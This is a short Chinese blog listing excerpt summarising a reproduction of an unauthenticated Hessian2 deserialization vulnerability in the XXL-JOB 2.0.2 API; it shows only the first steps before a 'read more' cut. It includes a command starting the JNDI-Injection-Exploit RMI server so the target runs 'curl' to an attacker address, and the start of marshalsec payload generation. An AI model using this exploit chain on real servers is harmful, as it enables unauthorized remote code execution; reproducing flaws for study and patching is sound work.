2020年12月6日
XXL-JOB api未授权hessian2反序列化复现
摘要： 环境： XXL-JOB 2.0.2 1.开启RMI服务 java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -A 0.0.0.0 -C "curl [Address]:5555" 使用最后一个。 2.生成Payload java -cp mar 阅读全文
posted @ 2020-12-06 17:30 liangzai6 阅读(2363) 评论(1) 推荐(0)